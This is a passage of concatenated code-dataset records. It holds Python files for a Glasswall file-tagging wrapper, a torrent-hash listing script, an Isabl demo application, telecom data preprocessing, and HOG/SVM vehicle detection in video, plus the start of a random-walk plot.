Exception(\"Failed to load Glasswall library. Exception: {0}\".format(e))\n\n def tag_file(self, source_file_path, tags_in_file_path, dest_file_path):\n \"\"\"\n Tag file\n\n :param source_file_path: The path to input file to be tagged.\n :param tags_in_file_path: The fully qualified path to the data to be tagged to the file.\n :param dest_file_path: The output location to output the tagged files to.\n :rtype: bool\n \"\"\"\n\n self.gw_library.GWSecuTag_TagFile.argtypes = [\n ct.c_char_p\n ]\n\n # Variable initialisation\n ct_source_file_path = ct.c_char_p(source_file_path.encode('utf-8'))\n ct_tags_in_file_path = ct.c_char_p(tags_in_file_path.encode('utf-8'))\n ct_dest_file_path = ct.c_char_p(dest_file_path.encode('utf-8'))\n\n success = self.gw_library.GWSecuTag_TagFile(ct_source_file_path,\n ct_tags_in_file_path,\n ct_dest_file_path)\n return success\n\n def retrieve_tag(self, source_file_path, tags_out_file_path):\n \"\"\"\n Retrieve tag from tagged file.\n\n :param source_file_path: The path to the tagged file.\n :param tags_out_file_path: The location to output the retrieved tag.\n :rtype: bool\n \"\"\"\n self.gw_library.GWSecuTag_TagFile.argtypes = [\n ct.c_char_p,\n ]\n\n # Variable initialisation\n ct_source_file_path = ct.c_char_p(source_file_path.encode('utf-8'))\n ct_tags_out_file_path = ct.c_char_p(tags_out_file_path.encode('utf-8'))\n\n success = self.gw_library.GWSecuTag_RetrieveTagFile(ct_source_file_path,\n ct_tags_out_file_path)\n\n return success\n","sub_path":"sdk-wrappers/python/GlasswallSecureTag.py","file_name":"GlasswallSecureTag.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"458641565","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*\r\n\r\n# Coded for Python 3 (tested under Python 3.5 for Windows 64-bit)\r\n#\r\n# Code by genBTC. Created from scratch 10/6/2015. Relies on other pre-requisite steps that I scripted also.\r\n# \r\n# Version 0.1 - functional since 10/9/2015.\r\n# Version 0.1a - now uses directory paths obtained from settings, ss.Preferences() 10/16/2015\r\n# Version 0.1b - Changed code to target Python 3 @ 10/16/2015\r\n#\r\n# Preliminary program to make a list of hashes and proper names to be used later. Was combined into the main Script #3.\r\n\r\nimport os\r\nimport json\r\nimport codecs\r\nfrom settings import Preferences\r\n\r\ndef main():\r\n\r\n ss = Preferences()\r\n directory_path = ss.getwpath(\"script3destdir\") #(\"hash-grabs-as-filenames\" dir)\r\n allfiles = [os.path.join(directory_path,fn) for fn in next(os.walk(directory_path))[2]] #gives absolute paths + names\r\n\r\n writelistfile = codecs.open(ss.getwpath(\"outpath3\"), 'wb', \"utf-8\") #(\"3propernames.txt\" file)\r\n for hashidfilename in allfiles: #iterate through filenames of what.cd JSON data\r\n with open(hashidfilename,'r') as stringfile: #open them\r\n response = json.load(stringfile)\r\n torrentHash= response[\"torrent\"][\"infoHash\"] #grab the hash To compare. \r\n writelistfile.write(hashidfilename[hashidfilename.rfind(\"\\\\\")+1:] + \" / \" + torrentHash + \"\\n\") #File Output. The Master List file of the names and hashes.\r\n writelistfile.close()\r\n\r\nif __name__ == \"__main__\":\r\n main() \r\n","sub_path":"scripts3/post3makelist-from-hashgrabs.py","file_name":"post3makelist-from-hashgrabs.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"598116600","text":"\"\"\"Learn about Isabl applications: https://docs.isabl.io/writing-applications.\"\"\"\n\nfrom os.path import join\nfrom shutil import which\n\nfrom isabl_cli import AbstractApplication\nfrom isabl_cli import options\nimport click\n\n\nclass HelloWorldApp(AbstractApplication):\n\n \"\"\"A test example that show cases different Isabl functionalities.\"\"\"\n\n # The uniqueness of an application is determined by it's name and version\n # A good strategy to versioning apps is to ask: are results still comparable?\n # An optimization that doesn't change outputs might not require a version change.\n NAME = \"Hello World\"\n VERSION = \"1.0.0\"\n\n # Optionally set ASSEMBLY and SPECIES to version as a function of genome build.\n # This is particularly useful for NGS applications as often results are only\n # comparable if data was analyzed against the same version of the genome.\n ASSEMBLY = \"GRCh37\"\n SPECIES = \"HUMAN\"\n\n # You can add additional metadata to be attached to the database object\n # URL (or comma separated URLs) to be stored in the application database object.\n application_description = \"An App to show case different Isabl functionalities.\"\n application_url = \"https://docs.isabl.io/writing-applications\"\n\n # Applications can depend on multiple configurations such as paths to executables,\n # references files, compute requirements, etc. These settings are explicitly\n # defined using the application_settings dictionary. Learn more at:\n # https://docs.isabl.io/writing-applications#application-settings\n application_import_strings = {\"sym_link\"}\n application_settings = {\n \"echo_path\": \"echo\",\n \"default_message\": \"Hello World\",\n \"sym_link\": \"isabl_cli.utils.force_symlink\",\n }\n\n # Applications can be launched from the command line. To support this capability\n # you have to tell the application how to link analyses to different experiments.\n # Learn more: https://docs.isabl.io/writing-applications#command-line-configuration\n cli_help = \"This is the Hello World App - a way to learn Isabl applications.\"\n cli_options = [options.TARGETS, click.option(\"--message\")]\n cli_allow_force = True\n cli_allow_restart = True\n cli_allow_local = True\n\n # You can provide an specification your application results using this attribute.\n # Each key is a result id and the value is a dictionary with specs of the result.\n # By default, analysis results are protected upon completion (i.e. permissions are\n # set to read only). Disabling application_protect_results makes an app re-runnable.\n application_protect_results = False\n application_results = {\n \"input\": {\n \"frontend_type\": \"text-file\",\n \"description\": \"Symlink to raw data (useful for demo App).\",\n \"verbose_name\": \"Hello World Input\",\n \"external_link\": \"https://en.wikipedia.org/wiki/Symbolic_link\",\n },\n \"output\": {\n \"frontend_type\": \"text-file\",\n \"description\": \"Sample id, hello world message, and content of raw data.\",\n \"verbose_name\": \"Hello World Result\",\n \"external_link\": \"https://hello.world/\",\n },\n \"count\": {\n \"frontend_type\": \"number\",\n \"description\": \"Count of characters in output file.\",\n \"verbose_name\": \"Characters Count\",\n },\n }\n\n # Isabl applications can produce auto-merge analyses at a project and individual\n # level. For example, you may want to merge variants whenever new results are\n # available for a given project, or update quality control reports when a new\n # sample is added to an individual.\n application_project_level_results = {\n \"merged\": {\n \"frontend_type\": \"text-file\",\n \"description\": \"Merged output files.\",\n \"verbose_name\": \"Merged Output Files\",\n },\n \"count\": {\n \"frontend_type\": \"number\",\n \"description\": \"Count of characters for merged output.\",\n \"verbose_name\": \"Merged Output Characters Count\",\n },\n }\n\n # application_inputs are analysis-specific settings (settings are the same for all\n # analyses, yet inputs are potentially different for each analysis). Each input set\n # to NotImplemented is considered required and must be resolved at get_dependencies.\n # This mechanism enables you to link new analysis to previous ones. You can learn\n # more at: https://docs.isabl.io/writing-applications#application-settings\n application_inputs = dict()\n\n # You can make sure applications are properly configured by validating settings.\n # To do so, simply raise an AssertionError if something is not set properly.\n def validate_settings(self, settings):\n assert which(settings.echo_path), f\"{settings.echo_path} not in PATH\"\n\n # Some of the advantages of metadata-driven applications is that we can prevent\n # analyses that don't make sense, for example running a variant calling application\n # on imaging data. Simply raise an AssertionError if something doesn't make sense,\n # and the error message will be provided to the user.\n def validate_experiments(self, targets, references):\n assert len(targets) == 1, \"only one target experiment per analysis\"\n assert targets[0].raw_data, \"target experiment has no linked raw data\"\n\n # Lets dive into creating data processing commands. Note that Isabl is agnostic to\n # compute architecture, therefore our only objective is to build the shell command\n # that will run the analysis and return it as a string.\n def get_command(self, analysis, inputs, settings):\n echo = settings.echo_path\n target = analysis.targets[0]\n output_file = join(analysis.storage_url, \"output.txt\")\n input_file = join(analysis.storage_url, \"input.txt\")\n message = settings.run_args.get(\"message\") or settings.default_message\n settings.sym_link(target.raw_data[0].file_url, input_file)\n return (\n f\"bash -c '{echo} Sample: {target.sample.identifier} > {output_file}' && \"\n f\"bash -c '{echo} Message: {message} >> {output_file}' && \"\n f\"bash -c '{echo} Data: >> {output_file}' && \"\n f\"bash -c 'cat {input_file} >> {output_file}' \"\n )\n\n # When application_results is defined, you must implement get_analysis_results.\n # This method is only run after the analysis has been run successfully.\n def get_analysis_results(self, analysis):\n output = join(analysis.storage_url, \"output.txt\")\n\n with open(output) as f:\n count = sum(len(i) for i in f)\n\n return {\n \"input\": join(analysis.storage_url, \"input.txt\"),\n \"output\": output,\n \"count\": count,\n }\n\n # A newly versioned analysis will be created for each type of auto-merge.\n # Your role is to take a list of succeeded analysis and implement the merge logic.\n def merge_project_analyses(self, analysis, analyses):\n with open(join(analysis.storage_url, \"merged.txt\"), \"w\") as f:\n for i in analyses:\n with open(i.results.output) as output:\n f.write(output.read())\n\n # Just as regular analyses, we have to provide logic to build the results\n # dictionary for the individual / project level analyses.\n def get_project_analysis_results(self, analysis):\n merged = join(analysis.storage_url, \"merged.txt\")\n\n with open(merged) as f:\n count = sum(len(i) for i in f)\n\n return {\"merged\": merged, \"count\": count}\n\n # Here we'll just recycle the project level merge logic for individual level merge\n application_individual_level_results = application_project_level_results\n merge_individual_analyses = merge_project_analyses\n get_individual_analysis_results = get_project_analysis_results\n","sub_path":"myapps/myapps/apps/hello_world/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":7888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"250893712","text":"import pandas as pd\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport shutil\nfrom sklearn import preprocessing\n\n\ndef preprocess_data(dir):\n #把数据预处理,但是并没有drop([columns]),\n datasets=pd.read_csv(dir)\n # user_id to string\n datasets['user_id']=datasets['user_id'].astype(str)\n #convert object ot int/float\n datasets['2_total_fee']=datasets['2_total_fee'].apply(lambda x:pd.to_numeric(x,errors='coerce'))\n datasets['3_total_fee']=datasets['3_total_fee'].apply(lambda x:pd.to_numeric(x,errors='coerce'))\n # datasets['gender']=datasets['gender'].convert_object(convert_numeric=True)#\\N to Nan\n # datasets['gender']=datasets['gender'].astype(str).apply(lambda x:np.asarray(x.split('\\\\N'),dtype=np.int64))\n # datasets['gender']=datasets['gender'].apply(convert)\n # datasets['gender']=datasets['gender'].astype(np.int64,errors='coerce')\n # datasets['age']=datasets['age'].astype(np.int64,errors='coerce')\n datasets['gender']=datasets['gender'].apply(lambda x:pd.to_numeric(x,errors='coerce',downcast='signed'))\n datasets['age']=datasets['age'].apply(lambda x:pd.to_numeric(x,errors='coerce',downcast='signed'))\n\n datasets.dropna()\n # datasets.drop_duplicates()\n\n #traffic to int or .3f\n datasets['month_traffic']=datasets['month_traffic'].astype(np.float64).round(3)#或者保留一位小数\n datasets['last_month_traffic']=datasets['last_month_traffic'].astype(np.float64).round(3)#or.\n datasets['local_trafffic_month']=datasets['local_trafffic_month'].astype(np.float64).round(3)\n #fee to .2f\n datasets['1_total_fee']=datasets['1_total_fee'].round(2)\n datasets['2_total_fee']=datasets['2_total_fee'].round(2)\n datasets['3_total_fee']=datasets['3_total_fee'].round(2)\n datasets['pay_num']=datasets['pay_num'].round(2)\n datasets['former_complaint_fee']=datasets['former_complaint_fee'].round(2)\n #call time to .1f\n datasets['local_caller_time']=datasets['local_caller_time'].round(1)\n datasets['service1_caller_time']=datasets['service1_caller_time'].round(1)\n datasets['service2_caller_time']=datasets['service2_caller_time'].round(1)\n\n print(datasets.info())\n\n if os.path.exists('preprocess_data'):\n datasets.to_csv('preprocess_data/'+dir,index=0)\n else:\n os.mkdir('preprocess_data')\n datasets.to_csv('preprocess_data/' + dir, index=0)\n\n\ndef read_train():\n datasets=pd.read_csv('preprocess_data/train.csv')\n # print(datasets.head())# 5*27\n labels=pd.DataFrame(datasets['current_service'])\n # train_data=datasets.drop(columns=['user_id','current_service'])\n train_data=datasets.drop(['user_id','current_service'],axis=1)\n features=train_data.as_matrix()\n labels=labels.as_matrix()\n #convert string to stand labels\n return (features,labels)\ndef read_test():\n #return : (DataFrame,numpy)\n datasets=pd.read_csv('preprocess_data/test.csv')\n user_df=pd.DataFrame(datasets['user_id'])\n datasets.pop('user_id')\n features=datasets.as_matrix()\n return (user_df,features)\n\ndef demo_read():\n pf=pd.read_csv('train.csv')\n print(pf.head())\n\nif __name__ == '__main__':\n # preprocess_data('train.csv')\n preprocess_data('test.csv')\n # read_data_sets('train.csv')\n # demo_read()\n pass\n\n\n","sub_path":"CCF_联通/read_data.py","file_name":"read_data.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"405756356","text":"import numpy as np\nimport glob\nimport cv2\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom sklearn.utils import shuffle\nfrom skimage.feature import hog\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import LinearSVC\nfrom sklearn.model_selection import train_test_split\nfrom scipy.ndimage.measurements import label\nfrom moviepy.editor import *\n\n\n# First I am going to train a SVM classifier to recognize what is a car and what is not.\n# To train this classifier I am using the GTI and KITTI data.\n# This function loads all the paths to these images.\n# It also ensure that I have the same number of car images and non car images.\ndef load_paths():\n\t# I load all the paths of the car images\n\tcar_far_paths = sorted(glob.glob('vehicles/GTI_Far/image*.png'))\n\tcar_left_paths = sorted(glob.glob('vehicles/GTI_Left/image*.png'))\n\tcar_right_paths = sorted(glob.glob('vehicles/GTI_Right/image*.png'))\n\tcar_middle_paths = sorted(glob.glob('vehicles/GTI_MiddleClose/image*.png'))\n\tcar_kitti_paths = sorted(glob.glob('vehicles/KITTI_extracted/*.png'))\n\t\n\t# I load all the paths of the non car images\n\tnot_car_gti_paths = sorted(glob.glob('non-vehicles/GTI/image*.png'))\n\tnot_car_extras_path = sorted(glob.glob('non-vehicles/Extras/extra*.png'))\n\n\t# I put all these paths in 2 lists\n\tcar_paths = car_far_paths+car_left_paths+car_right_paths+car_middle_paths+car_kitti_paths\n\tnot_car_paths = not_car_gti_paths+not_car_extras_path\n\t\n\t# I make sure to use the same number of car and non car images\n\tnb_paths = min(len(not_car_paths),len(car_paths))\n\tcar_paths = car_paths[:nb_paths]\n\tnot_car_paths = not_car_paths[:nb_paths]\n\n\treturn car_paths, not_car_paths\n\n# Once the images are loaded, I need to extract some features that will be the inputs of my classifier\n# The first feature is going to be the raw pixel values of the images.\n# Since the pictures of the video have high resolution, I need to use spatial binning to be\n# able to extract this feature quickly. I chose to resize the image to 32x32 pixels.\n# Even with this resolution, I can still identify the cars by eye so it is relevant to use\n# this feature with spatial binning to 32x32.\ndef get_spatial_features(img, size=(32, 32)):\n\t# I resize the image and use .ravel() to create a feature vector (1D)\n\tspatial_features = cv2.resize(img, size).ravel() \n\treturn spatial_features\n\n# The second part of my feature vector is composed of the histogram of pixels from each color channel\n# I perform these histograms for all 3 channels and use 32 bins\ndef get_color_features(img, nbins=32, bins_range=(0, 256)):\n\t# I compute the histograms over the 3 color channels\n\tch1_hist = np.histogram(img[:,:,0], bins=nbins, range=bins_range)\n\tch2_hist = np.histogram(img[:,:,1], bins=nbins, range=bins_range)\n\tch3_hist = np.histogram(img[:,:,2], bins=nbins, range=bins_range)\n\n\t# I concatenate them to create a feature vector\n\tcolor_features = np.concatenate((ch1_hist[0], ch2_hist[0], ch3_hist[0]))\n\treturn color_features\n\n# Finnally, the last part of my feature vector is going to be a histogram oriented gradient (HOG).\ndef get_hog_features(img, orient=8, pix_per_cell=8, cell_per_block=2, vis=False, feature_vec=True):\n\t# If vis is True, I am going to output an image representing the HOG feature\n\tif vis == True:\n\t\tfeatures, hog_image = hog(img, orientations=orient, pixels_per_cell=(pix_per_cell, pix_per_cell),\\\n\t\t\t\t\t\t\t\t\tcells_per_block=(cell_per_block, cell_per_block), transform_sqrt=False, \\\n\t\t\t\t\t\t\t\t\tvisualise=True, feature_vector=False)\n\t\treturn features, hog_image\n\t# Otherwise, I just output the feature vector\n\telse:\n\t\tfeatures = hog(img, orientations=orient, pixels_per_cell=(pix_per_cell, pix_per_cell), \\\n\t\t\t\t\t\tcells_per_block=(cell_per_block, cell_per_block), transform_sqrt=False, \\\n\t\t\t\t\t\tvisualise=False, feature_vector=feature_vec)\n\t\treturn features\n\n# Now I am going to combine these 3 features vectr into 1.\n# Note that I am going to use the YCrCb color space instead of the RGB one.\ndef get_features(img, color_space='YCrCb', size=(32,32), nbins=32, orient=8, pix_per_cell=8, \\\n\t\t\t\t\tcell_per_block=2, hog_channel='ALL'):\n\t\n\tfeatures = []\n\t\n\t# First I convert the image to the color space I want to use (here YCrCb)\n\tif color_space == 'HSV':\n\t\timage = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\telif color_space == 'HLS':\n\t\timage = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n\telif color_space == 'YUV':\n\t\timage = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\n\telif color_space == 'YCrCb':\n\t\timage = cv2.cvtColor(img, cv2.COLOR_RGB2YCrCb)\n\telse:\n\t\timage = np.copy(img)\n\n\t# Then I extract the first part of the features vector (raw pixel values with spatial binning)\n\tspatial_features = get_spatial_features(image, size)\n\tfeatures.append(spatial_features)\n\n\t# Then I extract the second part of the features vector (color histogram over the 3 channels)\n\tcolor_features = get_color_features(image, nbins)\n\tfeatures.append(color_features)\n\n\t# Then I extract the last part of the features vector (HOG)\n\tif hog_channel == 'ALL':\n\t\t# If I want to use all the color channel, I need to extract the \n\t\t# HOG feature of each channel and then concatenate them\n\t\thog_features = []\n\n\t\tfor channel in range(image.shape[2]):\n\t\t\tch_hog_features = get_hog_features(image[:,:,channel],orient,pix_per_cell,cell_per_block)\n\t\t\thog_features.append(ch_hog_features)\n\t\thog_features = np.ravel(hog_features)\n\n\telse:\n\t\thog_features = get_hog_features(image[:,:,hog_channel],orient,pix_per_cell,cell_per_block)\n\n\tfeatures.append(hog_features)\n\n\t# I concatenate all the 3 features into 1 feature vector\n\tfeatures = np.concatenate(features)\n\treturn features\n\n# Now that I can get a feature vector out of any image, I am going to write a function \n# that takes in input a list of paths to images and oututs the list of corresponding feature vectors\ndef extract_features(paths, color_space='YCrCb', size=(32,32), nbins=32, orient=8, pix_per_cell=8, \\\n\t\t\t\t\t\tcell_per_block=2, hog_channel='ALL'):\n\n\tfeatures = []\n\tfor path in paths:\n\t\timg = cv2.imread(path)\n\t\t# OpenCV uses BGR images, so I first need to convert it to RGB\n\t\timg = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\t\tfeatures.append(get_features(img,color_space,size,nbins,orient,pix_per_cell,cell_per_block,hog_channel))\n\n\treturn features\n\n# Now let's prepare the training, validation and test sets to train the SVM classifier\ndef prepare_sets(proportion = 0.15):\n\t# First I load all the paths of car and non car images (and make sure I have the same number)\n\tcar_paths, not_car_paths = load_paths()\n\n\t# Then I convert them into lists of feature vectors\n\tcar_features = extract_features(car_paths)\n\tnot_car_features = extract_features(not_car_paths)\n\n\t# Then I put them together to have a list of all the feature vectors (cars and non cars)\n\tX_unscaled = np.vstack((car_features,not_car_features)).astype(np.float64)\n\n\t# I scale and normalize that list thanks to StandardSacler()\n\tX_scaler = StandardScaler().fit(X_unscaled)\n\tX_scaled = X_scaler.transform(X_unscaled)\n\n\t# I create the list of labels (1 for cars and 0 for non cars)\n\ty = np.hstack((np.ones(len(car_features)),np.zeros(len(not_car_features))))\n\n\t# I split these lists into a training, validation and test sets.\n\t# The training set has 70% of the data.\n\t# The test and validation sets have each 15% of the data.\n\tX_train, X_test, y_train, y_test = train_test_split(X_scaled, y, test_size=2*proportion)\n\tX_val, X_test, y_val, y_test = train_test_split(X_test, y_test, test_size=0.5)\n\n\treturn X_train, y_train, X_val, y_val, X_test, y_test, X_scaler\n\n# Now that I have my training, validation and test sets, I can train my classifier\n# Note that I used the validation set to fine tune the parameters of my extract_features function\n# (the color space, the size of space binning, the number of orientation for HOG features ...)\n# I use the test set only at the end to test (after fine tuning the parameter) to avoid overfitting\ndef fit_svc():\n\t# First I create my training, validation and test sets\n\tX_train, y_train, X_val, y_val, X_test, y_test, scaler = prepare_sets()\n\n\t# Then I train the classifier on the training set\n\tsvc = LinearSVC()\n\tsvc.fit(X_train, y_train)\n\n\tprint('Train Accuracy of SVC: ' + str(round(svc.score(X_train,y_train),4)))\n\t# print('Cross Validation Accuracy of SVC: ' + str(round(svc.score(X_val,y_val),4)))\n\tprint('Test Accuracy of SVC: ' + str(round(svc.score(X_test,y_test),4)))\n\n\treturn svc, scaler\n\n# Now that my classifier is trained, given an image, it should be able to tell if it is a car or not.\n# So I need to slice the picture taken from the dashboard into smaller images so that the classifier\n# can analyze them and tell if ther is a car or not.\n# To do that I am going to use a sliding window method.\n\n# This function is going to return windows of sizes xy_window with overlap xy_overlap between \n# x_start,y_start and x_stop, y_stop (This function is the one from the lesson)\ndef slide_window(img, x_start_stop=[None, None], y_start_stop=[None, None], xy_window=(64, 64), xy_overlap=(0.75, 0.75)):\n\t# If x and/or y start/stop positions not defined, set to image size\n\tif x_start_stop[0] == None:\n\t\tx_start_stop[0] = 0\n\tif x_start_stop[1] == None:\n\t\tx_start_stop[1] = img.shape[1]\n\tif y_start_stop[0] == None:\n\t\ty_start_stop[0] = 0\n\tif y_start_stop[1] == None:\n\t\ty_start_stop[1] = img.shape[0]\n\n\t# Compute the span of the region to be searched \n\txspan = x_start_stop[1] - x_start_stop[0]\n\tyspan = y_start_stop[1] - y_start_stop[0]\n\n\t# Compute the number of pixels per step in x/y\n\tnx_pix_per_step = np.int(xy_window[0]*(1 - xy_overlap[0]))\n\tny_pix_per_step = np.int(xy_window[1]*(1 - xy_overlap[1]))\n\n\t# Compute the number of windows in x/y\n\tnx_buffer = np.int(xy_window[0]*(xy_overlap[0]))\n\tny_buffer = np.int(xy_window[1]*(xy_overlap[1]))\n\tnx_windows = np.int((xspan-nx_buffer)/nx_pix_per_step) \n\tny_windows = np.int((yspan-ny_buffer)/ny_pix_per_step) \n\n\t# Initialize a list to append window positions to\n\twindow_list = []\n\t# Loop through finding x and y window positions\n\tfor ys in range(ny_windows):\n\t\tfor xs in range(nx_windows):\n\t\t\t# Calculate window position\n\t\t\tstartx = xs*nx_pix_per_step + x_start_stop[0]\n\t\t\tendx = startx + xy_window[0]\n\t\t\tstarty = ys*ny_pix_per_step + y_start_stop[0]\n\t\t\tendy = starty + xy_window[1]\n\t\t\t# Append window position to list\n\t\t\twindow_list.append(((startx, starty), (endx, endy)))\n\t\n\treturn window_list\n\n# Here I define the windows that I am going to feed the classifier for each frame of the video.\n# Since the farther a car is the smaller it appears, the far windows are smaller than the close ones.\ndef boxes_to_scan(img):\n\tfar_windows = slide_window(img, x_start_stop=[None,None], y_start_stop=[400,500], xy_window=(96,96))\n\tmid_windows = slide_window(img, x_start_stop=[None,None], y_start_stop=[400,550], xy_window=(144,144))\n\tclose_windows = slide_window(img, x_start_stop=[None,None], y_start_stop=[430,650], xy_window=(192,192))\n\tclose_windows_2 = slide_window(img, x_start_stop=[None,None], y_start_stop=[460,680], xy_window=(192,192))\n\treturn far_windows+mid_windows+close_windows+close_windows_2\n\n# So, the classifier will analyze each of these boxes and assign 1 if there is a car and 0 otherwise.\n# Then, by adding all these boxes labeled by 0 or 1, I can create a heatmap where the heat represents\n# the number of times the classifier found a car in the region. \n# (This function is the one from the lesson)\ndef add_heat(heatmap, boxes):\n\t# Iterate through list of boxes\n\tfor box in boxes:\n\t\t# Add += 1 for all pixels inside each bbox\n\t\t# Assuming each \"box\" takes the form ((x1, y1), (x2, y2))\n\t\theatmap[box[0][1]:box[1][1], box[0][0]:box[1][0]] += 1\n\n\t# Return updated heatmap\n\treturn heatmap\n\n# Then the more heat there is, the greater the probability that there is a car in this region.\n# So, by thresholding this heatmap, I can choose only the regions where the probability of a car is high\n# This allows me to dismiss false positive (This function is the one from the lesson)\ndef apply_threshold(heatmap, threshold):\n\t# Zero out pixels below the threshold\n\theatmap[heatmap <= threshold] = 0\n\t# Return thresholded map\n\treturn heatmap\n\n# Once I have a thresholded heatmap, I want to draw boxes arround the regions where there is heat.\n# For that I use the label() function and then this function to define the boxes from the labels.\n# (This function is the one from the lesson)\ndef labeled_boxes(labels):\n\tboxes = []\n\t# Iterate through all detected cars\n\tfor car_number in range(1, labels[1]+1):\n\t\t# Find pixels with each car_number label value\n\t\tnonzero = (labels[0] == car_number).nonzero()\n\t\t# Identify x and y values of those pixels\n\t\tnonzeroy = np.array(nonzero[0])\n\t\tnonzerox = np.array(nonzero[1])\n\t\t# Define a bounding box based on min/max x and y\n\t\tbox = ((np.min(nonzerox), np.min(nonzeroy)), (np.max(nonzerox), np.max(nonzeroy)))\n\t\t# Draw the box on the image\n\t\tboxes.append(box)\n\t# Return the image\n\treturn boxes\n\n# This function simply draws the specified rectangular boxes on the image\ndef draw_boxes(img, boxes, color=(0,0,255), thick=5):\n\timage = np.copy(img)\n\tfor box in boxes:\n\t\tcv2.rectangle(image, box[0], box[1], color, thick)\n\treturn image\n\n# Now I know how to find and draw boxes around a car in an image.\n# In a video, from a frame to the next, a car will not move a lot.\n# So I am going to want to focus on the region of the frame where I already found a car.\n# This function will give me windows to feed the classifier \n# around the position where I found a car in the previous frame.\n# I take in input the box where I found the car in the previous frame \n# and outputs 5 boxes arround that position where I should look for a car in the next frame\ndef add_boxes_around(box, margin=25, size=(64,64)):\n\t# First I find the center of the box where I found the car in the previous frame\n\tx1,y1,x2,y2 = box[0][0],box[0][1],box[1][0],box[1][1]\n\tcenter_x = int(0.5*(x1+x2))\n\tcenter_y = int(0.5*(y1+y2))\n\t\n\tboxes = []\n\t# Then I define the centers of the 5 new boxes (I move from margin in every direction)\n\tnew_centers = [[center_x,center_y], [center_x+margin,center_y], [center_x-margin,center_y],\\\n\t\t\t\t\t[center_x,center_y+margin], [center_x,center_y-margin]]\n\n\t# For each new center I define a window of the given size arround this center\n\tfor center in new_centers:\n\t\tx1_new = center[0] - int(size[0]/2)\n\t\tx2_new = center[0] + int(size[0]/2)\n\t\ty1_new = center[1] - int(size[1]/2)\n\t\ty2_new = center[1] + int(size[1]/2)\n\t\tboxes.append(((x1_new,y1_new),(x2_new,y2_new)))\n\n\treturn boxes\n\n# Now I am finally ready to process a frame of the video.\n# previous_boxes contains the boxes where I found a car in the previous frame\n# previous_heat contains the heatmaps of the previous nb_previous frames\n# threshold is my final threshold over the heatmap\ndef process_image(img,svc,scaler,previous_boxes=[],previous_heat=[],nb_previous=10,threshold=8):\n\t# First I define the windows I am going to feed my classifier\n\tboxes = boxes_to_scan(img)\n\t# I add the windows around the region where I found the car in the previous frame \n\t# (These are my region of interest = roi)\n\tfor box in previous_boxes:\n\t\troi_boxes = add_boxes_around(box)\n\t\tboxes = boxes + roi_boxes\n\t\n\tcar_boxes = []\n\n\t# I am going to feed each window to my classifier\n\tfor box in boxes:\n\t\tx1,y1,x2,y2 = box[0][0],box[0][1],box[1][0],box[1][1]\n\t\tcrop = img[y1:y2,x1:x2]\n\t\t# I resize the image because the get_features function is expecting 64x64 images\n\t\timage = cv2.resize(crop, (64,64))\n\t\t# I extract the feature vector from the image\n\t\tfeatures = get_features(image)\n\t\t# I scale and normalize the feature vector\n\t\tscaled_features = scaler.transform(features)\n\t\t# I use the classifier to know if it is a car or not\n\t\tif svc.predict(scaled_features) == 1:\n\t\t\t# If it is a car, I keep this window to use it in my heatmap\n\t\t\tcar_boxes.append(box)\n\n\t# I create a heatmap of the current frame\n\theatmap = np.zeros_like(img[:,:,0]).astype(np.float64)\n\theatmap = add_heat(heatmap, car_boxes)\n\tfinal_heatmap = np.copy(heatmap)\n\n\t# I add all the previous heatmaps to avoid false positive\n\tfor prev_heat in previous_heat:\n\t\tfinal_heatmap = final_heatmap + prev_heat\n\n\t# I threshold this final heatmap, and draw boxes around the regions of heat\n\tfinal_heatmap = apply_threshold(final_heatmap, threshold)\n\tlabels = label(final_heatmap)\n\tfinal_boxes = labeled_boxes(labels)\n\tfinal_image = draw_boxes(img, final_boxes)\n\n\t# I add the heatmap of this frame to the list of previous heatmaps to pass on to the next frame\n\t# I take out the least recent heatmap\n\tprevious_heat.append(heatmap)\n\tif len(previous_heat) > nb_previous:\n\t\tprevious_heat.pop(0)\n\n\t# I return the image with boxes drawn,\n\t# the list of boxes to use as my region of interest in the next frame\n\t# and the list of previous heatmaps\n\treturn final_image, final_boxes, previous_heat\n\n# Finaly I can process the video frame by frame\ndef process_video(clip, svc, scaler, nb_previous=10, threshold=8):\n\t# I initialize my parameters\n\tnew_frames = []\n\tprevious_heat=[]\n\tprevious_boxes = []\n\tcounter = 1\n\tnb_frames = clip.fps * clip.duration\n\n\t# Then I go through each frame and process it\n\tfor frame in clip.iter_frames():\n\t\tnew_frame, previous_boxes, previous_heat = process_image(frame, svc, scaler, previous_boxes, previous_heat, nb_previous, threshold)\n\t\tnew_frames.append(new_frame)\n\t\tprint('Processing image: ' + str(counter) + '/' + str(nb_frames), end='\\r')\n\t\tcounter = counter + 1\n\n\tprint('')\n\t# I put the clip back together\n\tnew_clip = ImageSequenceClip(new_frames, fps=clip.fps)\n\n\treturn new_clip\n\n\nsvc, scaler = fit_svc()\n\nclip = VideoFileClip('project_video.mp4')\n\nprocess_clip = process_video(clip, svc, scaler)\nprocess_clip.write_videofile('project_video_out.mp4')\n\n\n","sub_path":"vehicle_tracking.py","file_name":"vehicle_tracking.py","file_ext":"py","file_size_in_byte":17655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"405473510","text":"import matplotlib.pyplot as plt # noqa\nimport numpy as np\n\n\ndef random_walk_3d(number_steps):\n \"\"\"Simulate 3D random walk on a grid.\"\"\"\n origin = np.zeros((1, 3))\n step_set = [-1, 0, 1]\n step_shape = (number_steps, 3)\n\n steps = np.random.choice(a=step_set, size=step_shape)\n path = np.concatenate([origin, steps]).cumsum(0)\n ax = plt.axes(projection='3d')\n ax.plot3D(path[:, 0], path[:, 1], path[:, 2])\n ax.scatter(0, 0, 0, color=\"red\")\n ax.text(0, 0, 0, 